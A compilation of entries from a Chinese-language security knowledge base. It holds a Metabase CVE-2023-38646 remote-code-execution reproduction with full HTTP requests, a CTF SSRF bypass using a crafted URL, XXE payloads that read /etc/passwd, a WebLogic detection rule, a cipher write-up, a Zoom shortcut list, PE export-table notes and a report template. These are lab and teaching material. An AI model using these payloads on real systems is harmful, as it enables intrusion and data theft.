- <https://blog.calif.io/p/reproducing-cve-2023-38646-metabase>
- <https://mp.weixin.qq.com/s/MgfIyq0OJwnKOUF2kBB7TA>
## 漏洞环境
执行如下命令启动一个Metabase server 0.46.6:
```
docker compose up -d
```
服务启动后,访问`http://your-ip:3000`可以查看到Metabase的安装引导页面,我们填写初始账号密码,并且跳过后续的数据库填写的步骤即可完成安装:

## 漏洞复现
首先,我们需要先访问`/api/session/properties`来获取Metabase的`setup-token`:
```
GET /api/session/properties HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0
```

要利用漏洞,必须要获取这个Token。
接着,将刚才获取的`[setup-token]`替换进下面这个请求后发送:
```
POST /api/setup/validate HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 739
{
"token": "[setup-token]",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"advanced-options": false,
"ssl": true,
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/success')\u000A$$"
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
```
可见,`touch /tmp/success`已成功在Metabase容器中执行:

|
sec-knowleage
|
---
title: Zoom
date: 2022-11-23 16:23:31.704621
background: bg-[#2858ee]
tags:
-
- mac
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 32 keyboard shortcuts found in Zoom. These shortcuts are for MacOS, for Windows visit /zoom-windows.
---
Mac Keyboard Shortcuts {.cols-2}
------------------
### Meetings I
Shortcut | Action
---|---
`Cmd` `J` | Join meeting
`Cmd` `Ctrl` `V` | Start meeting
`Cmd` `J` | Schedule meeting
`Cmd` `Ctrl` `S` | Screen share via direct share
`Cmd` `Shift` `A` | Mute or unmute audio
`Cmd` `Ctrl` `U` | Mute audio for everyone except the host, only available to the host
`Space` | Push to talk
`Cmd` `Shift` `V` | Start or stop video
`Cmd` `Shift` `N` | Switch camera
`Cmd` `Shift` `S` | Start or stop screen share
`Cmd` `Shift` `T` | Pause or resume screen share
`Cmd` `Shift` `R` | Start local recording
`Cmd` `Shift` `C` | Start cloud recording
{.shortcuts}
### Meetings II
Shortcut | Action
---|---
`Cmd` `Shift` `P` | Pause or resume recording
`Cmd` `Shift` `W` | Switch to active speaker view or gallery view, depending on current view
`Ctrl` `P` | View previous 25 participants in gallery view
`Ctrl` `N` | View next 25 participants in gallery view
`Cmd` `U` | Display or hide participants panel
`Cmd` `Shift` `H` | Show or hide in-meeting chat panel
`Cmd` `I` | Open invite window
`Opt` `Y` | Raise hand or lower hand
`Ctrl` `Shift` `R` | Gain remote control
`Ctrl` `Shift` `G` | Stop remote control
`Cmd` `Shift` `F` | Enter or exit full screen
`Cmd` `Shift` `M` | Switch to minimal window
`Ctrl` `Opt` `Cmd` `H` | Show or hide meeting controls
`Cmd` `W` | Prompt to end or leave meeting
{.shortcuts}
### Chat Shortcuts
Shortcut | Action
---|---
`Cmd` `K` | Jump to chat with someone
`Cmd` `T` | Screenshot
{.shortcuts}
### General Shortcuts
Shortcut | Action
---|---
`Cmd` `W` | Close the current window
`Cmd` `L` | Switch to portrait or landscape view, depending on current view
`Ctrl` `T` | Switch from one tab to the next
{.shortcuts}
Windows Keyboard Shortcuts {.cols-2}
------------------
### All Shortcuts II
Shortcut | Action
---|---
`F6` | Navigate among Zoom popup windows
`Ctrl` `Alt` `Shift` | Move focus to Zoom's meeting controls
`PgUp` | View previous 25 video stream in gallery view
`PgDn` | View next 25 video stream in gallery view
`Alt` `F1` | Switch to active speaker view in video meeting
`Alt` `F2` | Switch to gallery video view in video meeting
`Alt` `F4` | Close the current window
`Alt` `V` | Start or stop video
`Alt` `A` | Mute or unmute audio
`Alt` `M` | Mute or unmute audio for everyone except host, available to the meeting host only
`Alt` `S` | Launch share screen window and stop screen share
`Alt` `Shift` `S` | Start or stop new screen share
`Alt` `T` | Pause or resume screen share
`Alt` `R` | Start or stop local recording
`Alt` `C` | Start or stop cloud recording
`Alt` `P` | Pause or resume recording
`Alt` `N` | Switch camera
`Alt` `F` | Enter or exit full screen
{.shortcuts}
### All Shortcuts II
Shortcut | Action
---|---
`Alt` `F` | Enter or exit full screen
`Alt` `H` | Display or hide in-meeting chat panel
`Alt` `U` | Display or hide participants panel
`Alt` `I` | Open invite window
`Alt` `Y` | Raise or lower hand
`Alt` `Shift` `R` | Gain remote control
`Alt` `Shift` `G` | Stop remote control
`Ctrl` `2` | Read active speaker name
`Ctrl` `Alt` `Shift` `H` | Show or hide floating meeting controls
`Alt` `Shift` `T` | Screenshot
`Alt` `L` | Switch to portrait or landscape view
`Ctrl` `W` | Close current chat session
`Ctrl` `Up` | Go to previous chat
`Ctrl` `Down` | Go to next chat
`Ctrl` `T` | Jump to chat with someone
`Ctrl` `F` | Search
`Ctrl` `Tab` | Move to the next tab
`Ctrl` `Shift` `Tab` | Move to the previous tab
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Zoom on MacOS](https://support.zoom.us/hc/en-us/articles/205683899-Hot-Keys-and-Keyboard-Shortcuts-for-Zoom) _(support.zoom.us)_
- [Keyboard shortcuts for Zoom on Windows](https://support.zoom.us/hc/en-us/articles/205683899-Hot-Keys-and-Keyboard-Shortcuts-for-Zoom) _(support.zoom.us)_
|
sec-knowleage
|
# T1190-CVE-2018-2894-Weblogic任意文件上传检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do、/ws_utc/config.do。
漏洞影响范围:
weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。
## 检测日志
HTTP.log
## 测试复现
漏洞利用建议参考:
Weblogic任意文件上传漏洞(CVE-2018-2894)复现
<https://blog.csdn.net/weixin_43625577/article/details/97001677>
## 测试留痕
暂无实测,故无留痕。直接引用漏洞利用建议参考中的案例数据进行特征提取。
## 检测规则/思路
### Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
```yml
title: Oracle WebLogic漏洞利用Z
description: 检测对放入WebLogic服务器上密钥库文件夹中的webshell的访问
author: Florian Roth
translator: 12306Bro
date: 2018/07/22
modified: 2020/03/14
status: experimental
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2894
- https://blog.csdn.net/weixin_43625577/article/details/97001677
logsource:
category: webserver
detection:
selection:
c-uri:
- '*/config/keystore/*.js*'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
Weblogic任意文件上传漏洞(CVE-2018-2894)复现
<https://blog.csdn.net/weixin_43625577/article/details/97001677>
|
sec-knowleage
|
## wh1ter0se (crypto, 50p, 753 solves)
> Note: The flag is the entire thing decrypted
> [eps1.7_wh1ter0se_2b007cf0ba9881d954e85eb475d0d5e4.m4v](wh1ter0se.bin)
### PL Version
`for ENG version scroll down`
Pobieramy wskazany plik. Jego zawartość to:
EOY XF, AY VMU M UKFNY TOY YF UFWHYKAXZ EAZZHN. UFWHYKAXZ ZNMXPHN. UFWHYKAXZ
EHMOYACOI. VH'JH EHHX CFTOUHP FX VKMY'U AX CNFXY FC OU. EOY VH KMJHX'Y EHHX
IFFQAXZ MY VKMY'U MEFJH OU.
Nie jest to cezar ani nic podobnego, ale wygląda na jakiś szyfr podstawny. Po chwili kombinowania, postanawiamy wrzucić to do jakiegoś [odpowiedniego solvera](http://quipqiup.com/index.php), z dobrym skutkiem:
BUT NO, IT WAS A SHORT CUT TO SOMETHING BIGGER. SOMETHING GRANDER. SOMETHING
BEAUTIFUL. WE'VE BEEN FOCUSED ON WHAT'S IN FRONT OF US. BUT WE HAVEN'T BEEN
LOOKING AT WHAT'S ABOVE US.
Mamy flagę i 50 punktów
### ENG Version
We download provided file. Its contents:
EOY XF, AY VMU M UKFNY TOY YF UFWHYKAXZ EAZZHN. UFWHYKAXZ ZNMXPHN. UFWHYKAXZ
EHMOYACOI. VH'JH EHHX CFTOUHP FX VKMY'U AX CNFXY FC OU. EOY VH KMJHX'Y EHHX
IFFQAXZ MY VKMY'U MEFJH OU.
It doesn't seem to be a Caesar cipher or anything of this sort, however it does look like a substitution cipher. After a while trying to crack it up we decide to upload the input to an [online cipher solver](http://quipqiup.com/index.php), with good results:
BUT NO, IT WAS A SHORT CUT TO SOMETHING BIGGER. SOMETHING GRANDER. SOMETHING
BEAUTIFUL. WE'VE BEEN FOCUSED ON WHAT'S IN FRONT OF US. BUT WE HAVEN'T BEEN
LOOKING AT WHAT'S ABOVE US.
We have the flag and 50 points.
|
sec-knowleage
|
# list0r (web 400)
###ENG
[PL](#pl-version)
In the task we get a webpage where user can create lists of things.
We quickly realise that it's possible to login as admin with any password and username `admin` and from this we get information that the flag is at `http://78.46.224.80/reeeaally/reallyy/c00l/and_aw3sme_flag`
But we can't get the flag because there is a check to verify IP address and the query has to come from 127.0.0.1
We also quickly notice that there is php filter vulnerability combined with local file inclusion there.
The links are for example `http://78.46.224.80/?page=profile` and the `page` GET parameter is included with `.php` added at the end.
We can, however, do: `http://78.46.224.80/?page=php://filter/read=convert.base64-encode/resource=profile` to get the base64 encoded source of the included file.
This way we extract all source codes from the page.
There are two interesting bits.
First one is that we can provide a link to avatar and the picture will be downloaded.
In case it's not an actual image, the contents will be printed!
It seems perfect for our needs because it will print the flag and the query will be run from localhost.
```php
if (isset($_POST["pic"]) && $_POST["pic"] != "" && !is_admin()) {
$pic = get_contents($_POST["pic"]);
if (!is_image($pic)) {
die("<p><h3 style=color:red>Does this look like an image to you???????? people are dumb these days...</h3></p>" . htmlspecialchars($pic));
} else {
$pic_name = "profiles/" . sha1(rand());
file_put_contents($pic_name, $pic);
}
}
```
The second interesting bit is the `get_contents` function:
```php
function in_cidr($cidr, $ip) {
list($prefix, $mask) = explode("/", $cidr);
return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> $mask) << $mask);
}
function get_contents($url) {
$disallowed_cidrs = [ "127.0.0.1/24", "169.254.0.0/16", "0.0.0.0/8" ];
do {
$url_parts = parse_url($url);
if (!array_key_exists("host", $url_parts)) {
die("<p><h3 style=color:red>There was no host in your url!</h3></p>");
}
$host = $url_parts["host"];
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
$ip = $host;
} else {
$ip = dns_get_record($host, DNS_A);
if (count($ip) > 0) {
$ip = $ip[0]["ip"];
debug("Resolved to {$ip}");
} else {
die("<p><h3 style=color:red>Your host couldn't be resolved man...</h3></p>");
}
}
foreach ($disallowed_cidrs as $cidr) {
if (in_cidr($cidr, $ip)) {
die("<p><h3 style=color:red>That IP is a blacklisted cidr ({$cidr})!</h3></p>");
}
}
// all good, curl now
debug("Curling {$url}");
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_ALL
& ~CURLPROTO_FILE
& ~CURLPROTO_SCP); // no files plzzz
curl_setopt($curl, CURLOPT_RESOLVE, array($host.":".$ip)); // no dns rebinding plzzz
$data = curl_exec($curl);
if (!$data) {
die("<p><h3 style=color:red>something went wrong....</h3></p>");
}
if (curl_error($curl) && strpos(curl_error($curl), "timed out")) {
die("<p><h3 style=color:red>Timeout!! thats a slowass server</h3></p>");
}
// check for redirects
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($status >= 301 and $status <= 308) {
$url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
} else {
return $data;
}
} while (1);
}
```
This function seems to block any local address query, so we can't try to get a local file with flag.
The trick here is that the IP is checked using `parse_url` PHP function, while the call itself is done with curl.
We remember that there was a similar vulnerability exploited on a CTF a while ago.
The PHP function does not parse url correctly if username and passwords are provided!
If we use URL `http://what:ever@127.0.0.1:80@33c3ctf.ccc.ac/reeeaally/reallyy/c00l/and_aw3sme_flag`
The PHP will get:
```
array (
'scheme' => 'http',
'host' => '33c3ctf.ccc.ac',
'user' => 'what',
'pass' => 'ever@127.0.0.1:80',
'path' => '/reeeaally/reallyy/c00l/and_aw3sme_flag',
)
```
So it will assume we query the host `33c3ctf.ccc.ac` and the CIDR checks will not block us.
But what curl will assume is that the user is `what`, pass is `ever` and host is `127.0.0.1:80`, which is exactly what we need.
So in the end we will get:
```
Does this look like an image to you???????? people are dumb these days...
33C3_w0w_is_th3r3_anything_that_php_actually_gets_right?!???
```
###PL version
W zadaniu dostajemy stronę internetową gdzie można tworzyć sobie listy.
Szybko zauważamy że można zalogować się jako admin z dowolnym hasłem i dowiadujemy się, ze flaga jest pod `http://78.46.224.80/reeeaally/reallyy/c00l/and_aw3sme_flag`
Nie możemy jednak po prostu jej odczytać, bo request musi iść z IP 127.0.0.1
Szybko zauważyliśmy też, że jest tam podatność php filter połączona z local file inclusion.
Linki to np. `http://78.46.224.80/?page=profile` a parametr GET `page` jest includowany z dodaniem `.php`.
Możemy jednak zrobić `http://78.46.224.80/?page=php://filter/read=convert.base64-encode/resource=profile` aby dostać zawartość includowanego pliku jako base64.
W ten sposób wyciągamy źródła wszystkich plików php.
Są tam dwa ciekawe elementy.
Pierwszy to miejsce gdzie możemy załadować avatar z podanego przez nas linku.
Plik zostanie pobrany i jeśli nie jest obrazkiem, wypisana zostanie jego zawartość.
To wydaje się idealne do naszych potrzeb ponieważ wypisze nam flagę a request będzie szedł z localhosta.
```php
if (isset($_POST["pic"]) && $_POST["pic"] != "" && !is_admin()) {
$pic = get_contents($_POST["pic"]);
if (!is_image($pic)) {
die("<p><h3 style=color:red>Does this look like an image to you???????? people are dumb these days...</h3></p>" . htmlspecialchars($pic));
} else {
$pic_name = "profiles/" . sha1(rand());
file_put_contents($pic_name, $pic);
}
}
```
Drugi ciekawy element to sama funkcja `get_contents`:
```php
function in_cidr($cidr, $ip) {
list($prefix, $mask) = explode("/", $cidr);
return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> $mask) << $mask);
}
function get_contents($url) {
$disallowed_cidrs = [ "127.0.0.1/24", "169.254.0.0/16", "0.0.0.0/8" ];
do {
$url_parts = parse_url($url);
if (!array_key_exists("host", $url_parts)) {
die("<p><h3 style=color:red>There was no host in your url!</h3></p>");
}
$host = $url_parts["host"];
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
$ip = $host;
} else {
$ip = dns_get_record($host, DNS_A);
if (count($ip) > 0) {
$ip = $ip[0]["ip"];
debug("Resolved to {$ip}");
} else {
die("<p><h3 style=color:red>Your host couldn't be resolved man...</h3></p>");
}
}
foreach ($disallowed_cidrs as $cidr) {
if (in_cidr($cidr, $ip)) {
die("<p><h3 style=color:red>That IP is a blacklisted cidr ({$cidr})!</h3></p>");
}
}
// all good, curl now
debug("Curling {$url}");
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_ALL
& ~CURLPROTO_FILE
& ~CURLPROTO_SCP); // no files plzzz
curl_setopt($curl, CURLOPT_RESOLVE, array($host.":".$ip)); // no dns rebinding plzzz
$data = curl_exec($curl);
if (!$data) {
die("<p><h3 style=color:red>something went wrong....</h3></p>");
}
if (curl_error($curl) && strpos(curl_error($curl), "timed out")) {
die("<p><h3 style=color:red>Timeout!! thats a slowass server</h3></p>");
}
// check for redirects
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($status >= 301 and $status <= 308) {
$url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
} else {
return $data;
}
} while (1);
}
```
Ta funkcja wydaje się blokować dowolny lokalny adres, więc nie możemy pobrać lokalnego pliku z flagą.
Trik polega na tym, że IP jest sprawdzane funkcją PHP `parse_url`, podczas gdy samo pobranie pliku za pomocą curl.
Pamiętamy, że niedawno podobna podatność była wykorzystana już na CTFie.
Funkcja PHP nie parsuje URL poprawnie jeśli podamy tam username i password.
Jeśli podamy URL `http://what:ever@127.0.0.1:80@33c3ctf.ccc.ac/reeeaally/reallyy/c00l/and_aw3sme_flag`
PHP odczyta to jako:
```
array (
'scheme' => 'http',
'host' => '33c3ctf.ccc.ac',
'user' => 'what',
'pass' => 'ever@127.0.0.1:80',
'path' => '/reeeaally/reallyy/c00l/and_aw3sme_flag',
)
```
Więc założy że odpytujemy hosta `33c3ctf.ccc.ac` i żaden z testów CIDR nas nie zablokuje.
Jednak curl odczyta to inaczej i user to `what`, hasło to `ever` a host to `127.0.0.1:80`, czyli dokładnie to czego nam potrzeba.
Finalnie dla takiego avatara dostajemy:
```
Does this look like an image to you???????? people are dumb these days...
33C3_w0w_is_th3r3_anything_that_php_actually_gets_right?!???
```
|
sec-knowleage
|
# Model E1337 - Rolling Code Lock - FLAG0
## 0x00 Home

Tried couple of different code but all show errors.
```
Code incorrect. Expected 06947342
```
## 0x01 Directory
Try scan sub directory with Burp

And there is a comment in source code.
http://127.0.0.1/xxxxxxxxxx/admin

## 0x02 get-config
http://127.0.0.1/xxxxxxxxxx/get-config
Looks like some config thing using XML

## 0x03 set-config
http://127.0.0.1/xxxxxxxxxx/set-config
It actually exist but may need parameter to set the XML

## 0x04 XXE
Prepare the XXE payload.
```xml
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "/etc/passwd">]><config><location>&xxe;</location></config>
```
And encode to [url format][1]
```
%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C%21DOCTYPE%20root%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22%2Fetc%2Fpasswd%22%3E%5D%3E%3Cconfig%3E%3Clocation%3E%26xxe%3B%3C%2Flocation%3E%3C%2Fconfig%3E
```
http://127.0.0.1/xxxxxxxxxx/set-config?param=%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C%21DOCTYPE%20root%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22%2Fetc%2Fpasswd%22%3E%5D%3E%3Cconfig%3E%3Clocation%3E%26xxe%3B%3C%2Flocation%3E%3C%2Fconfig%3E

Successfully write in XXE and 302 redirect to admin page and read out /etc/passwd

## 0x05 main.py
```xml
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "main.py">]><config><location>&xxe;</location></config>
```
http://127.0.0.1/xxxxxxxxxx/set-config?data=%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C%21DOCTYPE%20root%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22main.py%22%3E%5D%3E%3Cconfig%3E%3Clocation%3E%26xxe%3B%3C%2Flocation%3E%3C%2Fconfig%3E
Execute and get the FLAG in the [main.py][2]

[1]: https://www.urlencoder.org/
[2]: ./main.py
|
sec-knowleage
|
# 导出表
DLL 通过导出表向外界提供导出函数名称,序号以及入口地址等信息。从导入角度来看,Windows 装载器完善 IAT 时就是通过 DLL 的导出表读取从其导入的函数的地址的。导出表通常存在于大多数 DLL 中,但在少数 EXE 文件中同样存在。
对于 DLL 里导出函数的调用,既可以通过函数名称,也可以通过函数在导出表的索引进行。Windows 装载器将与进程相关的 DLL 加载到虚拟地址空间后,会根据导入表中登记的与该 DLL 相关的名称或编号来遍历 DLL 的虚拟地址空间并查找导出表结构,从而确定该导出函数在虚拟地址空间中的起始地址 VA,并将该 VA 覆盖写入 IAT 对应项处。
## EAT
`DataDirectory[0]` 处保存者 EXPORT TABLE (即导出表)的 RVA。该 RVA 指向 `IMAGE_EXPORT_DIRECTORY` 结构体。PE 文件中最多只存在 1 个 `IMAGE_EXPORT_DIRECTORY` 结构体。**但 PE 文件可以有多个 `IMAGE_IMPORT_DESCRIPTOR` 结构体,因为 PE 文件可以一次导入多个库。**
看看 `IMAGE_EXPORT_DIRECTORY` 结构体:
```c
typedef struct _IMAGE_EXPORT_DIRECTORY{
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; // 库文件名称地址
DWORD Base; // 导出函数起始序号
DWORD NumberOfFunctions; // 导出函数个数
DWORD NumberOfNames; // 导出函数的名称个数
DWORD AddressOfFunctions; // 导出函数地址数组(数组元素个数=NumberOfFunctions)
DWORD AddressOfNames; // 导出函数名称地址数组(数组元素个数=NumberOfNames)
DWORD AddressOfNameOrdinals; // 导出函数序号数组(数组元素个数=NumberOfNames)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
```
接下来详细说明一下结构体中的成员:
- **`Name` 双字。该成员保存的地址指向一个以 "\0" 结尾的字符串,字符串记录的是导出表所在文件的最初文件名称。**
- **`Base` 双字。导出函数的起始序号。导出函数的编号 = Base + Ordinals。**
- **`NumberOfFunctions` 双字。导出函数的总个数。**
- **`NumberOfNames0` 双字。在导出表中,有些函数有定义名称,有些函数没有。该成员记录了所有定义了名称的导出函数的个数。如果该值为 0,表示所有函数都没有定义名称。`NumberOfNames**` 总是小于等于 `NumberOfFunctions`。**
- **`AddressOfFunctions` 双字。指向导出函数地址数组的起始处。导出函数地址数组保存了数量为 `NumberOfFunctions` 的导出函数地址。**
- **`AddressOfNames` 双字。指向导出函数名称地址数组的起始处。导出函数名称数组的每一个元素都指向了导出函数对应的名称字符串的地址。**
- **`AddressOfNameOrdinals` 双字。指向导出函数序号地址数组的起始处。与 `AddressOfNames` 是一一对应关系。导出函数序号数组中每一个元素都指向了导出函数对应的序号值。**
接下来通过一个简单示例来学习一下。示例选取的是 Windows 系统中的 version.dll,该文件位于 `C:\Windows\SysWOW64\` 目录下。
首先来看一下示例文件的 `IMAGE_EXPORT_DIRECTORY` 结构体:
```text
// 示例程序 IMAGE_EXPORT_DIRECTORY
RVA Value Description
----------------------------------------------------
00003630 00000000 Characteristicss
00003634 FDB2B236 Time Data Stamp
00003638 0000 Major Version
0000363A 0000 Minor Version
0000363C 00003702 Name RVA
00003640 00000001 Base
00003644 00000011 Number of Functions
00003648 00000011 Number of Names
0000364C 00003658 Address Table RVA
00003650 0000369C Name Pointer Table RVA
00003654 000036E0 Ordinal Table RVA
----------------------------------------------------
```
接着整理一下导出表中的数组:
```text
RVA Address Name Ordinal Description
---------------------------------------------------------------------
00003658 000014F0 0000370E 0 GetFileVersionInfoA
0000365C 000022E0 00003722 1 GetFileVersionInfoByHandle
00003660 00001F40 0000373D 2 GetFileVersionInfoExA
00003664 00001570 00003753 3 GetFileVersionInfoExW
00003668 00001510 00003769 4 GetFileVersionInfoSizeA
0000366C 00001F60 00003781 5 GetFileVersionInfoSizeExA
00003670 00001590 0000379B 6 GetFileVersionInfoSizeExW
00003674 000015B0 000037B5 7 GetFileVersionInfoSizeW
00003678 000015D0 000037CD 8 GetFileVersionInfoW
0000357C 00001F80 000037E1 9 VerFindFileA
00003680 00002470 000037EE 10 VerFindFileW
00003684 00001FA0 000037FB 11 VerInstallFileA
00003688 00002F40 0000380B 12 VerInstallFileW
0000368C 0000382C 0000381B 13 VerLanguageNameA
00003690 00003857 00003846 14 VerLanguageNameW
00003694 00001530 00003871 15 VerQueryValueA
00003698 00001550 00003880 16 VerQueryValueW
------------------------------------------------------------------------
```
Address 列对应着导出函数装载到内存中的实际地址,Name 列对应着导出函数名称的 RVA,Ordinal 即为导出函数的序号。
这里再加一张导出表的字符串部分内容,即保存着库文件名称和导出函数名称的部分。通过 PEview 还能方便看出:
导出函数获取函数地址的过程大致如下:
1. 首先利用 `AddressOfNames` 成员定位到导出函数名称数组;
2. 接着通过比较字符串 (strcmp) 查找指定的函数名称,找到后将其索引作为 `name_index`;
3. 接着利用 `AddressOfOrdinals` 成员定位到导出函数序号数组;
4. 接着通过 `name_index` 在导出函数序号数组中定位对应的 `ordinal` 值;
5. 接着利用 `AddressOfFunctions` 成员定位到导出函数地址数组,即 `Export Address Table(EAT)`;
6. 最后通过 `ordinal` 作为索引在导出函数地址数组中定位到对应的项,获取指定函数的起始地址。
对于少见的没有名称的导出函数,利用 Ordinal 成员减去 Base 得到的值作为索引值,在导出函数地址数组中定位对应的函数地址。
|
sec-knowleage
|
# 趋势报告
本报告模板从**安全态势**、 **风险趋势**、**应对方案**以及**监管状态**的角度出发,描述安全事件总体趋势的分析方向及相应方法。
本报告主要参考了[《2019云安全趋势报告》](https://www.freebuf.com/articles/paper/211311.html),仅作学习使用,若有侵权,劳请联系修改。
## 1. 概况
当前情况下针对主体来说,安全事件治理的战略意义、攻击趋势(简略)、发展方向。
## 2. 安全态势
”安全态势“用于总体地描述针对主体的威胁趋势。
### 从网络安全态势感知模型入手
针对主体的安全态势感知模型,可以帮助其进行系统的梳理,不精确但系统、完整。

### 影响范围最大的安全事件
列举该段时间内,影响范围最大的安全事件,以及相应的危害和排名靠前原因。
### 防护重点
对以下风险趋势分析的一个防护重点总结,具体方法参见“风险趋势“。
## 3. 风险趋势
### (一)主机安全类
主机是数据的载体,数据则是企业的核心资产。在风险趋势分析中,首先应该分析主机安全情况。
可再细分为:
#### (1)漏洞概况
- 漏洞总数和类型
- 列举该类攻击所采用的漏洞攻击总数和类型
- 行业分布
- 主要指不同行业下(个人、工业、文创、电商、游戏、直播等),被攻击的事件数量分布
- 对不同主体的影响(企业、用户、社会)
- 在上一条的基础上,简述该类型攻击对不同所属主题的影响
- 高危害漏洞
- 介绍该类型攻击下使用靠前的具体漏洞概况
- 名称、CVE编号
- 披露时间
- 漏洞描述
- 修复防范简述
- 高危害漏洞的统计趋势图
- 月度图
- 季度图
- 半年、年度图
#### (2)攻击概况
- 针对主机安全最常见的攻击的事件总数趋势图
- 攻击来源及目标
- 攻击者IP的来源国家/地区
- 受害者的来源国家/地区
- 如果主体是针对于企业,则根据企业的资产分布进行划分
#### (3)手法分析
可以从多个角度描述分析手法,例如:
- 手法关键词云图
- 统计攻击手法名称的分布,以词云图的形式展现
- 从攻击资源角度
- 分析多数攻击者所采用的攻击资源,是个人主机还是分布式的集群;来自同一国家/地区,还是分布在全球
- 从攻击链角度
- 根据Kill Chain模型,分析展现攻击者手法对应完整的模型符合度
- 从另一个角度看, 其实也是评估主体的攻击溯源能力
### (二)应用安全类
应用安全类风险,主要针对于Web、移动端APP等,从应用层角度出发,所以其入侵手法和过程往往更加多样化。
#### (1)漏洞概况
- 漏洞总数和类型
- 列举该类攻击所采用的漏洞攻击总数和类型
- 行业分布
- 主要指不同行业下(个人、工业、文创、电商、游戏、直播等),被攻击的事件数量分布
- 对不同主体的影响(企业、用户、社会)
- 在上一条的基础上,简述该类型攻击对不同所属主题的影响
- 高危害漏洞
- 介绍该类型攻击下使用靠前的具体漏洞概况
- 名称、CVE编号
- 披露时间
- 漏洞描述
- 修复防范简述
- 高危害漏洞的统计趋势图
- 月度图
- 季度图
- 半年、年度图
#### (2)攻击概况
- 针对主机安全最常见的攻击的事件总数趋势图
- 攻击来源及目标
- 攻击者IP的来源国家/地区
- 受害者的来源国家/地区
- 如果主体是针对于企业,则根据企业的资产分布进行划分
####(3)手法分析
可以从多个角度描述分析手法,例如:
- 手法关键词云图
- 统计攻击手法名称的分布,以词云图的形式展现
- 从攻击资源角度
- 分析多数攻击者所采用的攻击资源,是个人主机还是分布式的集群;来自同一国家/地区,还是分布在全球
- 从攻击链角度
- 根据Kill Chain模型,分析展现攻击者手法对应完整的模型符合度
- 从另一个角度看, 其实也是评估主体的攻击溯源能力
#### (4)入侵过程
分布概述攻击者常用的入侵过程,可以从排名靠前的漏洞利用事件出发。
### (三)数据安全
此处主要描述时间段内的数据泄漏事件、影响范围、泄露方式以及数据安全趋势
#### (1)数据泄漏事件
列举时间段内的各种国内外数据泄漏事件。
#### (2)数据覆盖范围
以图形展示数据泄漏里各类信息源的占比,在黑灰产中数据交易的类别占比。
#### (3)泄漏方式
例举数据泄漏的方式,比如数据库未授权访问、黑客渗透、凭证泄漏等。
